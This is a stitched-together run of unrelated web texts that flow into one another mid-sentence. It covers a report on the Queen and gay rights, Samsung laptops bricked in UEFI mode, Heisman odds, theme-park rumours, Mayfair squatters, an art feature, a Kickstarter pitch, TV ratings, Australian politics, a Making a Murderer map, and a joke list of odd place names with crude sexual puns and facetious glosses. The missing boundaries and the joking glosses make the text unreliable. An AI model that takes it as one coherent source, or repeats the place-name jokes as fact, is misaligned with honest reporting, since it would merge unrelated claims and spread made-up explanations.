It declared: “We are implacably opposed to all forms of discrimination, whether rooted in gender, race, colour, creed, political belief or other grounds.”
The words “other grounds” were interpreted by some as including sexuality.
While Ben Summerskill, chief executive of Stonewall, said the Queen had taken “an historic step forward” on gay rights, several other LGBT activists including the campaign group Justice for Gay Africans dismissed the idea that the 87-year-old monarch had suddenly adopted a new position on LGBT equality.The Samsung 900X4C is one of the affected devices. As well as the samsung-laptop Linux driver, there are other ways of confusing the firmware on some Samsung laptops in UEFI mode to the extent that they will no longer boot. Matthew Garrett indicated as much in a recent blog post, in which he says that it appears that even normal userspace applications in Windows are able to trigger the problem. The kernel developer advises users to run in BIOS mode whatever their operating system. This requires instructing the UEFI firmware to use the CSM (compatibility support module) to boot the operating system; operating systems installed in UEFI mode are, however, unable to boot via CSM.
Garrett, who was involved in work on UEFI support in the Linux kernel, bases his comments on the information available to him. His comment about other ways of triggering the problem chimes with a report from a reader who, in creating UEFI boot entries, managed to confuse the firmware on his Samsung laptop to the extent that it was no longer possible to access the UEFI setup. When the problem first came to light, Greg Kroah-Hartman, who worked on the samsung-laptop driver, made it clear in a post on Google+ that, in his view, Samsung was the only party in a position to resolve the cause of the problem and that a firmware update was required.
According to current understanding, the problem affects at least 300E5C, 530U3C, 700Z3C, 700Z5C, 700Z7C and 900X4C series Samsung laptops. Changes have now been merged into Linux versions 3.8-rc6, 3.7.6 and 3.2.38, which deactivate the samsung-laptop driver when booting via UEFI to prevent damage to the laptop.
A firmware update to fix the problem is not yet in sight.
According to the Ubuntu bug report which first brought the problem to light, Samsung developers were aware of the problem several weeks ago. A comment by Canonical and Debian developer Steve Langasek, posted several days ago, revealed that the Samsung development team had recently made major progress in their investigations, but it remains unclear when a firmware update will be released.
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The 2017 college football season is a long way off, but that hasn’t stopped people from betting on who will win the 2017 Heisman Trophy.
Bovada released an updated odds sheet on Monday, and USC quarterback Sam Darnold has stepped away as the clear favorite to win the honor.
2016 winner Lamar Jackson and 2016 finalist Baker Mayfield are tied for second at 13/2 odds, followed by Alabama running back Bo Scarborough and Alabama quarterback Jalen Hurts.
Updated Heisman odds from @BovadaLV: A QB not named Lamar Jackson or Baker Mayfield is the favorite pic.twitter.com/LP8yWUGh7h — The Football Four (@TheFootballFour) February 20, 2017
Darnold finished the ’16 campaign ranked ninth nationally in passing efficiency, hitting 67.2 percent of his throws for 3,086 yards with 31 touchdowns against nine interceptions in 13 appearances (10 starts). He closed the year with a scintillating Rose Bowl performance, hitting 33-of-53 throws for 453 yards with five touchdowns against one interception in a 52-49 overtime win over Penn State.
One historical bullet point Darnold will have in his favor is that the clearest path to winning a Heisman comes from playing at a school with former Heisman winners. USC’s six previous winners trails only Notre Dame and Ohio State — the Trojans are tied if you count Reggie Bush‘s 2005 win — including Carson Palmer in 2002 and Matt Leinart in ’04.In December we excitedly learned that the Harry Potter cast had slipped into their Hogwarts robes once more to film scenes for upcoming attractions at the Wizarding World of Harry Potter expansion at Universal Orlando.
Now, we’re hearing talk of what scenes we may see the actors in.
Hypable put its Extendable Ears to the ground and heard the cast is being utilized to film scenes for the Hogwarts Express attraction.
Rumors say the Harry Potter characters will appear in the queue for the ride and celebrate a new school year. The line to ride the train will obviously be a lengthy one, so the storyline may imply that the long lines are due to the new school year at Hogwarts beginning.
For over a year rumors have stated that the real Hogwarts Express will transport park visitors from the existing Hogsmeade Village at Islands of Adventure to the new Diagon Alley at Universal Studios.
Guests, it is speculated, will need tickets to both of Universal Orlando’s parks in order to enjoy both of the Harry Potter lands.
Article Continues Below
The initial report in December said that Helena Bonham Carter was one of the actresses filming park scenes, which led us to believe she was shooting something for the rumored Gringotts thrill ride. We still think that’s highly probable. Rupert Grint’s rep confirmed he was filming scenes as Ron, but would not say what for.
Universal Orlando has confirmed a Wizarding World expansion is in the works, but has not said a thing further. It is rumored to open in 2014 or 2015. The new Diagon Alley land is taking over the area once occupied by the classic Jaws ride.The £6million squatters: Artist gang flies the black flag of anarchy over Mayfair mansion
In its day it must have ranked among the most elegant residences in London.
Hyde Park is just down the road and some of the most expensive houses in the land can be seen from its upper windows.
Previous occupants have included industrialists, politicians and titled gentry.
Squatters: (left to right) Girl known only as Bob, Tom Crouse-Smith and Stephanie Smith at 18 Upper Grosvenor Street, Mayfair
But yesterday this £6.25million Mayfair mansion – owned by the billionaire Duke of Westminster – was revealed as the latest address to be invaded to a group of squatters calling themselves the Da! Collective.
They got in after posing as builders in high visibility jackets.
Then they changed the locks and flew a Union Flag dyed anarchist black from its flagpole.
Just after noon yesterday a 21-yea-rold woman in a mask and a raggedy mini-skirt stood on a balcony overlooking puzzled passers-by, and read aloud a statement about liberty and legality.
Then she disappeared behind the French doors to return to the fading splendour of what she and her companions proudly declared to be the finest and most grandiose addition to a property portfolio which, if they actually owned it, could be worth up to £100million.
Making themselves at home: The group have changed the locks and reconnected the electricity, insisting that they will be paying the bills
Rights: Under the laws squatters can claim ownership of a property if the original owner has not tried to claim it back for 12 years
Inside, sleeping bags and stained mattresses have been spread out on bare floorboards.
Logs and branches decorate one room and their half-finished artworks, including a Trojan Horse-style head crafted in newspaper, are scattered around the 30 or so rooms in the six-storey house.
Quite how the scruffy band of artists, teenagers, students and activists managed to occupy the house so easily is doubly puzzling.
First, because they appear not to have come to general public attention until a Time Out magazine article trumpeted their success this week as ‘the coolest mansion in Mayfair’.
Second, because they got in not just without anyone important challenging them, but under the noses of armed police.
The group has been living in the property for the last month since clambering in through an open window on the first floor
Three of a kind: The squatters call themselves the Da! collective
Number 18 Upper Grosvenor Street is less than 50 paces from the U.S. Embassy in Grosvenor Square, supposedly one of the most heavily guarded buildings in the capital.
The house is leased by British Virgin Island-registered Deltaland Resources from the Duke of Westminster’s Grosvenor Estate.
Stephanie Smith, who gave the balcony speech and describes herself as an artist, insists the house was being ‘left to rot’.
Certainly the Grade II listed 1730s mansion has seen better days. Some furniture and decor remains, but bare wires hang from some walls and floorboards have been ripped up in places.
Its centuries-old elegance has surely never borne witness to the lifestyle preferred by its current inhabitants – who number around a dozen at any one time.
One – who said he was a gap year student – wheeled a bicycle out through the imposing front door and said he was setting off to scavenge food from supermarket waste.
Last night the group planned to illuminate the outside walls and windows with a light show, and to allow like-minded visitors to view the art.
Panelling in one room has been scrawled on to form an exhibit and an oak door has been festooned with coloured plastic bags.
The house is one of several large central London properties the group has occupied.
Neighbour: TV chef Richard Corrigan's new restaurant is just down the road
The squatters maintain they have done nothing illegal and declared: ‘Squatting is not a criminal offence. If the owners want to kick us out they’ll have to apply for an eviction notice.’
Da! has a website on which it pictures properties the collective has turned into squats.
The mastermind behind the group is Simon McAndrew, an architecture student who lives in a West London apartment on full housing benefits of nearly £17,000 a year, plus unemployment and child benefits. His wife Bogna, 28, said the couple are expecting a second child.
McAndrew, 29, has attracted a following of well-educated middle class squatters. His wealthy mother Aban, 54, told how she finds her ‘free spirited’ son’s lifestyle ‘difficult to reconcile’.
Stephanie Smith, wearing an elaborate face mask, reads a statement from Da! Collective alongside a black anarchist flag
Members of the group don't appear to be typical squatters, one appears to be wearing designer glasses and another has expensive-looking headphonesFinding the Sublime in Disposable Digital Landscapes Doug Bierend Blocked Unblock Follow Following Dec 11, 2014 When was the last time you did a google image search for “landscape”? Here, I’ll do it for you. In almost every little box is the sort of motivational poster fare that begs to be paired with an inspirational quote. These caricatures or idealizations of a landscape are less about the places themselves than the feeling they’re meant to evoke. In her series, aptly titled Landscape Sublime, photographer Anastasia Samoylova re-appropriates these disposable visions of unnamed places into new, physically abstracted landscapes.
She does this by printing photos onto paper and then manipulating and carefully arranging them. By giving these ephemeral visions of the world a physical heft and a new compositional context, she pokes at what we’re really seeing (or looking for) in such images to begin with. To her, images such as these are shared and proliferated online as bite-sized portions of the sublime.
“These days beautiful things are not really taken seriously, they’re usually disregarded as something ‘picturesque,’” Samoylova says. “I wondered what really can be described as beautiful or sublime in today’s sort of mediated culture … I noticed a lot of them are used to symbolize just pure beauty, the beauty that can’t be possessed, like it would be with the human figure.”
Each intricate image starts out as a public domain landscape (chew on that phrase) collected while perusing the web. Samoylova then prints out these fair use vistas, favoring those that are most popular and widely shared online. Of particular interest to her are the idealized landscapes in advertising design, like the mountain ranges on water bottles. They then become the central material for collaged compositions that also make use of whatever other materials she has at hand — mirrors, metals, photo gels.
The process — which she films — is iterative, a sort of gestural analogy for the browsing and swiping that brings these images in front of our eyeballs to begin with. What emerges are shattered geometrical formations that still manage to convey something essential and even slightly ironic about the original subject. The sculptures, finalized as digital images, are again most likely to be encountered via a link on the Internet.
The notions of use, content, and image sharing that underpin the work were largely inspired by Samoylova’s avid participation in the early days of Flickr. “I was really interested in this idea of sharing images, and images that are meant to be used,” she says. “I barely ever encountered them in physical form outside of advertisements and occasional posters, but unless you were to make a trip out to a gallery to see the work, you don’t really encounter those pictures in a materialized form. With this work I was trying to give them this form, I was trying to make them more physical and turn them into objects, into something you can hold in your hands.”
Like their various angles and vertices, the collages are built on a layered set of concepts that Samoylova strives to fit into a single image. The Illinois-based photographer and educator studied design in Moscow, and went on to study architectural and environmental design, shooting commercial photography on the side. Along with her Flickr habit, and a penchant for philosophy, the coordinates of Landscape Sublime were readily apparent.
“The interests were formed pretty early on in me, and my photography is really sort of a documentation of my process of thinking about images,” she says. “When you go out and see this vast landscape and you take a picture of that, you really shrink it down into something two dimensional and small … I’m trying to sort of bring them back to life, and print them out and rebuild them and create this environment again.” There are distinct philosophical underpinnings driving these images, dealing formal ideas of the sublime — the transcendent sense of awe that a dramatic landscape seems to evoke and which informs our notions of beauty itself. Depending on the thinker you vibe with — Kant, Plato, Schopenhauer — the sublime can be the result of pure aesthetic beauty in form, line, and color, or it can represent something else, a more subtle phenomenon that isn’t about whether something is pretty or not but whether it stirs the witness internally. Samoylova strikes a visual balance of these ideas, interpreting our sense for the sublime as the reason these “throwaway” and cliche landscapes still proliferate, then abstracting and exploding them to reveal new perspectives. “The images that are being produced with little digital cameras, with phones, might as well be illustrations in Kant’s books,” she says.
In our modern age of image-driven media, the old ideas of what constitutes beauty and what draws our eyes still hold currency. Even among the ubiquitous virtualized visions of the world we encounter online, the old hierarchies reliably hold sway — lightning strikes and rainbows are generally categorized as having a higher aesthetic and emotional power than an image of a stone in the grass, however beautiful.
“My work is not really about landscapes per se, but about aesthetics and about our notions of what’s beautiful and what’s worthy of photographing and sharing,” she says. “In those images I was wondering, ‘What are they communicating?’ — and I couldn’t find anything beyond this ideal; something beautiful.” Sublime or not, Samoylova’s collages are lovely to look at. Images on the Internet have become so ephemeral, so easy to dismiss, yet they still impact, guide and reflect us in ways we are far from understanding. In the image of a beautiful landscape, we might see a place we recognize specifically, but more likely we’re looking at a more universal symbol of beauty itself.Making a Connection
With electronics and technology rapidly advancing, it’s no wonder there are heightened opportunities for bioelectronics and human-computer interfaces in medicine. The biggest challenge these technologies face is creating synergy between the electronic device and the body, so they’re able to communicate at a molecular and macro level.
Scientists from Italy aim to solve this problem by developing a living bio-electronic hybrid system that functionally bridges information between human-made devices and biological systems. The work is detailed in AIP Advances.
The research team first investigated the biocompatibility of a suspect substrate, which is what physically connects electronic devices to the body. The responsiveness of the substrate and the cells adhering to it were tested using light-scanning methods.
These biological materials were connected to an electric component called a memristor, a shortened term for memory resistor. Silvia Caponi, physicist at the Italian National Research Council, explains that depending on the amount of voltage that has been applied to it, it can vary resistance. These make possible the creation of electric circuits that can function similarly to the synaptic connections between neurons.About
I'm a graphic designer, project manager and entrepreneur. I believe we are here to motivate and inspire each other, living the life that we dream and truly LOVE. My gift in life is to create products that make people happier and spread love, and the purpose of my life is to give this gift away. It is my joy to put my heart in this product, because pen and paper will be transformed into happiness and love.
I will send you a hand-written (never printed!) Love note, with the words that you want or need to hear the most. Hand written calligraphy is absolutely beautiful and beats any e-mail! There is always something nice about receiving a letter, especially these days when email, Facebook, text, status updates, and apps dominate our communication. Receiving a handwritten love letter is a memory that will stay forever.
Handwritten letters with love
I think there is magic in finding a love letter in the post. It is even more special when it is beautifully handwritten, and have a message of love and encouragement inside. It is an unforgettable gesture of love for you or someone important in your life.
This is a super cute video example from the guys of Handiemail. However, they are not in business anymore :(
It is extremely simple! You don't need to decide right now what words you want to send in the letter, just support this project with the "Back this project" button at the top of the page!.
Then, decide if the Love note is for you or for someone else, and after the campaign finishes I will ask you for the text.
A love letter for you: What is it that you want or need to hear the most? Send a love note to yourself and you will receive it in a couple of weeks for an unforgettable moment of joy. Keep it with you to encourage you to chase your dreams or remind yourself that it is always too early to give up on your goals.
A letter of love for someone you love: Write your text up to 50 words (or 100 words in the longer version) and give them to:
Yourself, because you're awesome!
Your parents
Your other half
Your children
Those old good friends
To them, just because!
Length options:
Note: 5" x 3.5" folded card (Up to 30 words)
5" x 3.5" folded card (Up to 30 words) Letter: A5 (Up to 50 words)
A5 (Up to 50 words) Long letter: A5 (1 or 2 sheets of paper to write up to 100 words)
The Huffington Post published this article explaining why it will become a lifelong treasure to the person lucky enough to receive it:
1. A Lifetime Keepsake: Personal handwritten notes grow rarer by the day. In a world where people seem to have everything, words on paper, sealed with a stamp, can be far more valuable than any material item purchased.
Personal handwritten notes grow rarer by the day. In a world where people seem to have everything, words on paper, sealed with a stamp, can be far more valuable than any material item purchased. 2. Your Heart on Paper: In a wired world — where emails, tweets and text messages are more accessible than handwritten notes — there is something magical about reading words written in longhand.
In a wired world — where emails, tweets and text messages are more accessible than handwritten notes — there is something magical about reading words written in longhand. 3. The Ultimate Surprise: Let’s be honest: How do you feel when someone handwrites you a note? Imagine the person you write walking to their mailbox, opening it and finding a letter inscribed to them from you. It will be the best part of their day!
Let’s be honest: How do you feel when someone handwrites you a note? Imagine the person you write walking to their mailbox, opening it and finding a letter inscribed to them from you. It will be the best part of their day! 4. A Feeling of Importance: What people want more than anything is to feel validated and to know they matter. Your handwritten letter will send a clear message: You are important and you do matter to me.
What people want more than anything is to feel validated and to know they matter. Your handwritten letter will send a clear message: You are important and you do matter to me. 5. No Regrets: How many times have you missed the opportunity to say what needed to be said, only to find it was too late? Make a point of letting people you care about, who have influenced and shaped your life know how you feel. Don’t forget your children, even if they may not understand their power now, you can keep them in a box so they have them to re-read when they grow up. I’m certain they will be treasures.
Richard Branson said here, "I found it astounding that around 83 per cent of teens surveyed have not written a love letter. What a shame! it’s time to bring back the pen. I urge everyone, and not just teenagers, to send a letter to someone today".
See the details in the reward section, all of the rewards are delivered worldwide!
£2 or $3: A big Thank you! in our social channels.
£5 or $7: 2x Thank you notes on the post.
£6 or $8: EARLY BIRD - Short handwritten Love Note.
£8 or $11: Short handwritten Love Note (Up to 30 words)
£9 or $12: EARLY BIRD - Handwritten Love Letter (Up to 50 words)
£12 or $16: Handwritten Love Letter (Up to 50 words)
£15 or $20: Handwritten Love Letter - Long version (Up to 100 words)
£25 or $32: The mystery Love letter!
£32 or $42: 3x Handwritten Love Letter (Up to 50 words each one)
£60 or $79: 6x Handwritten Love Letter (Up to 50 words each one)
£100 or $130: 12x Handwritten Love Letter (Up to 50 words each one)
Free shipping in the UK. Europe and US: £3/$4. Anywhere else: £5/$7.
The Love notes will be improved as the amount raised increases! Share the link of this campaign with your friends:
The more the merrier, so together we can unblock the stretch goals. All the stretch goals improve ALL the love notes, so if you help me spreading the voice, you will get the most beautiful handwritten love note.
Share it with all your friends
Unlock at £500 Gold ink for the name or greeting
Unlock at £800 Higher quality writing paper
Unlock at £1200 Additional paper designs to choose from
Unlock at £2000 Wax sealing for the envelope
Unlock at £5000 Mistery reward
This is the development plan for this project
Kickstarter campaign: July
Hand writing: August
Shipping worldwide: Mid-August
All the money raised in Kickstarter will be used as follows:
40% Production fees
20% Shipping costs
10% Coffee to keep writing!
10% Marketing
10% Error and unexpected risks' mitigation (just in case)
10% Kickstarter fees
I have been working in this idea for a while, experimenting with different format sizes, materials and pens. I have sent some Love Notes in the UK with the most amazing feedback and I am extremely grateful that I can make people happy with my talent!!! Thank you for supporting my project and helping me to spread the love... it makes me happy and it will make someone else really happy too!
A big thank you to Jacob McArdle my first backer! You made me so happy :)After all the hype, the Season 6 cliffhanger finale and the double death of the Season 7 opener, nobody expected The Walking Dead to return this year at record heights, even if the AMC blockbuster was celebrating its 100th episode. So Sunday’s season opener, “Mercy,” took a double-digit ratings dive and met expectations, so to speak.
The Season 8 premiere of the zombie apocalypse series snagged 11.4 million total viewers and 6.5 million adults 18-49 for a 5.0 rating. That’s down 40% in the demo and 33% in total audience from the Season 7 opener of October 23, 2016. When some straggler adjustments are made, the Season 7 debut is virtually even with TWD’s Season 5 opener for an all-time season high.
Overall, with a slight 5% uptick in viewers and 1% in the key demo over the latter part of Season 7 averages, the Season 8 premiere is the show’s fourth-best debut yet. Eight seasons in, TWD can still hold its head high that for the past six years it is and remains TV’s highest-rated series.
Compared to the big swingers on the Big 4, the Season 8 TWD opener is up 58% over the This Is Us key demo average and 146% over how Empire is faring among 18-49s.
However, with a surprisingly robust this weekend in a well-marketed Super Bowl LI rematch between the New England Patriots and the Atlanta Falcons scoring 16.74 million viewers and a 5.6 demo rating in fast affiliates alone, the direct competition was certainly strong –100th episode and all. No 18-49 numbers are in yet, but SNF pulled in 19.2 million viewers total for NBC on October 22, or 68% more that the TWD premiere, which is a flip of sorts from last year when the latter beat the former in the demo.
AMC will of course point away from that Live+Same Day number and, in acknowledgement of rising audience patterns, emphasize the delayed Live+3 viewing that will come out later this week.
After the TWD premiere, AMC had a two-hour The Talking Dead that was live from L.A.’s Greek Theatre. That Chris Hardwick-hosted shindig with cast and EPs drew 4.2 million total viewers and 2.3 million among 18-49s.Hawke as 'dishonest' as Gillard on carbon price
Updated
Opposition Leader Tony Abbott has dismissed Labor stalwart Bob Hawke's support of the carbon tax, saying he is "as dishonest" as Prime Minister Julia Gillard.
Mr Hawke today joined Ms Gillard to launch a report into how climate change would affect Kakadu National Park.
He said Mr Abbott was "as mad as a cut snake" over his opposition to the carbon tax.
But the Opposition Leader hit back during Question Time, saying both Ms Gillard and Mr Hawke have been caught lying to the public.
"When we're talking about Bob Hawke, Julia Gillard's commitment that 'there would be no carbon under the government I lead' was as honest a statement as the former prime minister Bob Hawke's that by 1990 no Australian child would be living in poverty," he said.
"Two Labor prime ministers, two dishonest Labor prime ministers."
Mr Abbott also argued there was nervousness in the Government's back bench about the impact of a carbon price on manufacturing jobs.
He moved a motion to suspend Question Time in order to make Ms Gillard answer questions about whether she was abandoning the industry by planning to bring in a carbon tax.
Mr Abbott highlighted a number of Labor electorates with heavy industry that he says would be hit by the carbon plan.
The attempt to bring a censure motion failed as the crossbenchers voted with the Government.
Ms Gillard earlier accused Mr Abbott of running an irresponsible scare campaign and of faking concern for workers.
"He would have opposed WorkChoices if he was genuinely interested in job security," she said.
"This is a scare campaign that really is all about his political profits.
"There's not one bone in his body that is concerned in any way about the prospects of the working people in those businesses he's named."
Topics: environmental-policy, business-economics-and-finance, environment, climate-change, environmental-impact, environmental-management, government-and-politics, federal-government, parliament, federal-parliament, tax, australia
First postedFrom extensive Reddit threads to this new "Remaking A Murderer" interactive map, many viewers of the hit Netflix docuseries have been obsessively tracking locations, photos, and evidence from the case in chronological order. The creators of the "Remaking a Murderer" collaborative map, Hugo García and Paola Falero, who work at the digital marketing and communications company Ogilvy, and Mather Bogotá, said, "We took all the information that people are publishing on Reddit about the case of Steven Avery and organized it in an interactive and collaborative map on Google maps," according to Laughing Squid.
The hit series Making A Murderer follows the story of Steven Avery from Manitowoc, Wisconsin, who spent two decades in prison on a sexual assault charge in 1985 before DNA evidence proved his innocence of that crime. After his release in 2003, Avery filed a $36 million lawsuit against the county. Four years after his release in 2007, he was then sentenced to decades behind bars for the murder of 25-year-old Teresa Halbach, a photographer who went to Avery's residence to photograph his sister's minivan for a sales ad. The map tracks the case starting from Nov. 1, 2005 when Halbach heads to the Avery residence, and ending in August 2007 with the sentencing of Avery's nephew Brendan Dassey, who confessed (under duress) to helping Avery in Halbach's murder.
So far, García and Falero's interactive map has received upwards of 14,000 views and goes into extensive detail about dates, locations, potential alternate locations, and all phone calls, and is organized by theme. For instance, Nov. 1 to Nov. 3, 2005, called "Where is Teresa?" includes important details asking where she is, noting when she didn't show up for work, and where her car was found.
The information in the map is based on what people are posting on Reddit — from fan theories to discussions — including facts about the case, such as specific locations and photos of the evidence. According to Laughing Squid, the map gives individuals the option to add new facts or content "that can help people [make] their own conclusions."
Here's a closer look at the collaborative project.
The map starts on Oct. 31, 2005 documenting Teresa's calls to her voicemail and five unknown incoming calls made to her phone. It maps out her potential alternate locations, such as where she may have been at 2:12 p.m. when she calls the George Zipperer residence, when she receives a blocked call from Avery at 2:24 p.m., and a 2:30 p.m. arrival time at Avery's.
Where Is Teresa?
The map continues with documentation of Nov. 1 to Nov. 3, 2005, when Teresa doesn't show up to work. This section maps out a phone call from Halbach's ex-boyfriend, who finds it strange that she didn't pick up and that her voicemail box was full. On Nov. 3, she is reported missing and her car is found in a gravel pit. Her brother is later able to access her voicemail and listens to her 18 missed messages, according to information provided in the map.
The Last Man To See Her Alive
The map then takes us to Nov. 4, 2005, when helicopters fly over the Avery lot taking photos. The police search for Halbach starts, her siblings are interviewed, and her ex-boyfriend Ryan Hillegas leads his own search outside the Avery property. By the end of the day, it is known to the general public that she was last seen at the Avery residence.
The map continues, taking viewers through November's search for Halbach, to Avery's arrest on Nov. 9, through his sentencing on June 1, 2007.
The Case Is Still Ongoing
On Nov. 9, Avery is arrested for possession of a firearm. A.22 caliber semi-automatic rifle was found in his trailer three days earlier, according to the map.
On Nov. 15, Avery is charged with murder, although he maintains his innocence to this day.
The map takes us all through 2006 starting from when Avery pleads not guilty in mid-January.
In April, the police find evidence in Halbach's vehicle, after swabbing the hood of her car.
In December 2006, Avery's lawyers find an unsealed vial of his blood from 11 years earlier. His lawyers suggested that Avery's blood — which was found in Halbach's car — was planted there and had been taken from the unsecured vial. The jury on Avery's case didn't buy it.
Avery Is Sentenced
The map takes us through 2006 and into 2007. On June 1, Avery is sentenced to life in prison without parole.
His nephew, Brendan Dassey, is sentenced on Aug. 2. to life in prison with eligibility for parole after serving 41 years.
See more for yourself by visiting the map below.
Images: Remaking A Murderer Screenshot (10), Netflix (1)The feisty Argentinian full-back made his City debut on the same day as the flaky Brazilian forward and has played every game since as if it was a privilege
One of the endearing things about Manchester City, even in their present incarnation as global-scale wealth squanderers, is that every few years a player comes along whose bond with the supporters transcends the normal relationship between well-rewarded professionals and the paying audience.
Pablo Zabaleta, who is leaving the club
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very lewd place in Montana. Another one exists in Virginia.
Condom French lovers play it safe in this town - it still has its own cathedral, and even had its own religious diocese from 1317 to 1801.
Conquest A village in Saskatchewan, Canada. There is also a township and hamlet called Conquest in Cayuga County, New York.
Cool Residents of this California town are too cool for school — they only have one in their town.
Corps-Nuds A commune in Brittany meaning "naked body".
Coupon An unincorporated community in Cambria County, Pennsylvania. Could the community be on sale at your local supermarket?
Coward A town that has a treetop walk that will leave any coward screaming for dear life.
Cow Head A town in Newfoundland and Labrador, Canada.
Coxsackie A township and village in Greene County, New York. It's actually pronounced 'COHKS-SAH-KEE'.
Crab Hill The place in Barbados where all the crabby people go and collect crabs.
Crackenback That's gotta hurt!
Crackpot An unusual case of a place name with two double meanings.
Crapaud A municipality in Prince Edward Island.
Crapo An unincorporated community in Maryland.
Craponne-sur-Arzon "Sur Arzon" must be having a bad day.
Cromwell The Irish probably find this place offensive.
Crow Wing County A county in Minnesota. It's named after the Crow Wing River (a tributary of the Mississippi River), which in turn is named after an island at the river mouth which is shaped like a crow's wing.
Csesznek A village in Hungary. Translates roughly as "they are fucking" in Hungarian.
Cumbum I believe that is supposed to be a British way of saying Creampie.
Cumming This city in Georgia has been watching way too much porn lately.
Cummings One thing this place can assure you is that you will "cum" back.
Cummington A town is Massachusetts that's "cumming" to get you!
Cut Off Small town in Louisiana. It was cut off from the rest of Louisiana.
Cut And Shoot A town in Texas northeast of Conroe, Texas, on Texas Route 105, whose name seems to be instructions on building and handling a sawed-off shotgun.
Dab A small town in Pakistan. If you still dab, I suggest you stop doing it. It's just not a trend anymore.
Dad A village in Hungary with some daddy issues no doubt.
Darling Why yes, darling.
Darmstadt A city in Germany. Means "bowel town/city" in German.
Dead Dog Beach A rather depressing beach in Puerto Rico.
Dead Road A rural road near Bunn, North Carolina which most certainly has no cemeteries located along it.
Dead Women Crossing A small bridge in Custer County, Oklahoma. Where a woman was murdered, said to be haunted by her ghost.
Deadhorse Northern terminus of the Dalton Highway in Alaska, not to be confused with Whitehorse, Yukon.
Defeated Clearly this place has a positive outlook on life.
Deixa o Resto Village in Portugal, meaning Leave the Rest.
Desire A town in Pennsylvania, USA.
Deux Mamelles Mountains in Senegal. French for "Two Breasts".
Devil Town A ghost town in Ohio, USA. Probably a ghost town for a good reason.
Devil's Courthouse A mountain located in Transylvania County, North Carolina where the devil presides over life and death cases (not really).
Devilsmother A bigger hill in County Galway, Ireland. It could also mean smothering the devil.
The Devil's Point A mountain in Scotland. The Scottish Gaelic name "Bod an Deamhain" translates to "Penis of the Demon".
Dicken, Kentucky An unincorporated community in Kentucky. "Dicken" can also mean something like "fat", "plump", or "thick" in German.
Dickheads A bar in Green Bay, Wisconsin.
Dick Peaks A group of big white bulges in Antarctica.
Dicks Butte A mountain in California.
Dick's Knob A mountain in Georgia.
Dickshooter Both a creek and a town in gun-totin' Idaho. Don't anger any of the locals if you wish to remain in the gene pool.
Dicktown A town in New Jersey. America.
Die A rather morbid name for a commune I'd say.
Diepenbeek A municipality in Belgium. Means "deep ditch" in Dutch.
Dildo This town in Newfoundland has a mascot named "Captain Dildo" (contrast with Flin Flon); the etymology for this name is unclear. One theory is that it originally referred to a phallus-shaped peg used to lock an oar in position on a dory (small boat).
Disappointment Islands A small group of Pacific islands in French Polynesia. A recent report said that tourists who visited the islands were disappointed.
Dismal Swamp There's actually much mystery and discovery to be had here!
DISH A small town in Texas that changed its name to receive free digital video recorders and satellite television for ten years.
Disko It seems that this island in Greenland is still stuck in the 1970s.
Dinga A city in Punjab province of Pakistan.
Ding Dong A town in Texas famous for its unusual name after painter Cohn Cohen Hoover was hired to paint two bells, with one saying "Ding", and the other bell saying "Dong". This town is also located in a very "resonant"-sounding area of its U.S. state.
Dingle A town in County Kerry, Ireland, it is the only town on the Dingle Peninsula. There's another one in Sweden.
Doodstil A hamlet in Groningen, Netherlands, that translates to "dead silent".
Đông Thái If Thai people spoke English, they'd probably find the name of this Vietnamese village quite charming.
Dorking A town in England where every door is treated as a king.
Do Stop A place in Kentucky very much into the idea of consent.
Downhill Town in the United Kingdom.¨
Dragonville Careful, Skyrim players might flock to this place like crazy.
Drama, Greece A city in Greece. To its credit, the views of the mountain from this city are pretty dramatic.
Drogenbos A municipality in Belgium. Means "drying forest" in Dutch.
Dublin The capital of Ireland full of people "dublin" their money! I'm keeping that joke in because it's hilarious.
DuBois A city in Clearfield County, Pennsylvania, named for lumber magnate John DuBois.
Duck The Tarheel State's newest Outer Banks seaside town (incorporated in 2002), it spawned the name of a growing doughnut shop chain.
Due West People in this "central-western" Palmetto State community have been heard to say, 'Go west!'
Dull It is as well. Tediously grouped with Boring, Oregon and Bland Shire, New South Wales to form a Dull, Boring and Bland "League of Extraordinary Communities".
Dum Dum A northeastern neighborhood of Kolkata, it has a boys' high school there, and used to have an arsenal that made now-illegal bullets.
Dümmer Dum Dum's German twin.
Dunedoo A town New South Wales, Australia Pronounced Dunny-doo, "dunny" being an Australian slang for toilet.
Earth A town in Texas, United States.
Eastern Tickle Maybe the eastern part of Fogo Island is ticklish?
Egg No, they do not make eggs in this Austrian town.
Eggnog, Utah This place and Santa Claus need to team up and throw a Christmas party.
Eighty Four A town in southwestern Pennsylvania.
El Pito A small coastal town about 1.5 km southeast of Cudillero in Asturias, Spain, meaning The Dick.
Elsa A Small Town In Central Yukon,Canada, Next To Keno City.
Elvis Lives Lane A small street in Ottawa, Ontario that bore the name from 1991 to 2012. Was this a hint from the King that he is still alive?
Embarrass A small municipality and township in Minnesota. The unofficial record low temperature in Minnesota was taken here, and is −64 °F (−53 °C), which was reached in February 1996. Unofficial because although verified, it was not taken by the National Weather Service. There is also an Embarrass, Wisconsin.
Emo A village in County Laois, Ireland. Also Emo in Ontario, Canada.
Empire BEHOLD THE COLORADO EMPIRE!!!
England City in Arkansas. If you live there, then you could say that England is your city.
Erode City in Tamil Nadu, India with a population of 521,776. The name might have its origin in the Tamil phrase Eru Odai meaning two streams based on the presence of two water courses, Perumpallam and Kalingarayan Canal.
Eromanga A small town in Queensland, Australia. The name may come from an Aboriginal word that means "hot gale plain" or "windy plain", though the language and dialect is unknown.[4][5]
Eureka "Eureka! I'm rich!", its residents were known to say — it was founded four months before its state joined the Union.
Executive Committee Range A mountain range in Antarctica, including one Mount Cumming, named for a member of the Antarctic Executive Committee.
Eye A town in Suffolk, England. There are also places with this name in Herefordshire and Cambridgeshire.
Faggot Hill A hill in Boylston, Massachusetts, United States.
Fail A village in Portugal.
Fakaofo A populated island in Tokelau.
Fakfak A town in Indonesia.
Fanny A township in Minnesota. "Fanny" is a slang term for the vulva. Also a Fanny in West Virginia.
Faroe Islands Once thought to be a summer retreat for the Egyptian Pharaohs, it turned out that ancestors of the Vikings may have been the first to visit there.
Felchville A place in Massachusetts. Might not look like much, but once you read what "felching" is, you'll be quite amused. Another one is in Vermont.
Feltwell A village in Norfolk, England.
Fertile Given only 50 people live in this Saskatchewan town, I'd say it hasn't lived up to its name.
Fickmühlen de] Means "fucking mill" in German.
Fingringhoe A village in Essex, England.
Fifty-Six A city in northern Arkansas.
Fishkill A town along the Hudson River. "Kill" translates to "stream" from Dutch.
Fjuckby A lonely Swedish village that wants to change its name, and a resemblance to the name of a certain Austrian village — as it bears a similarity to not just "fuck", but also the Swedish "juck" which means "pelvic-thrust" so you can hardly blame them.
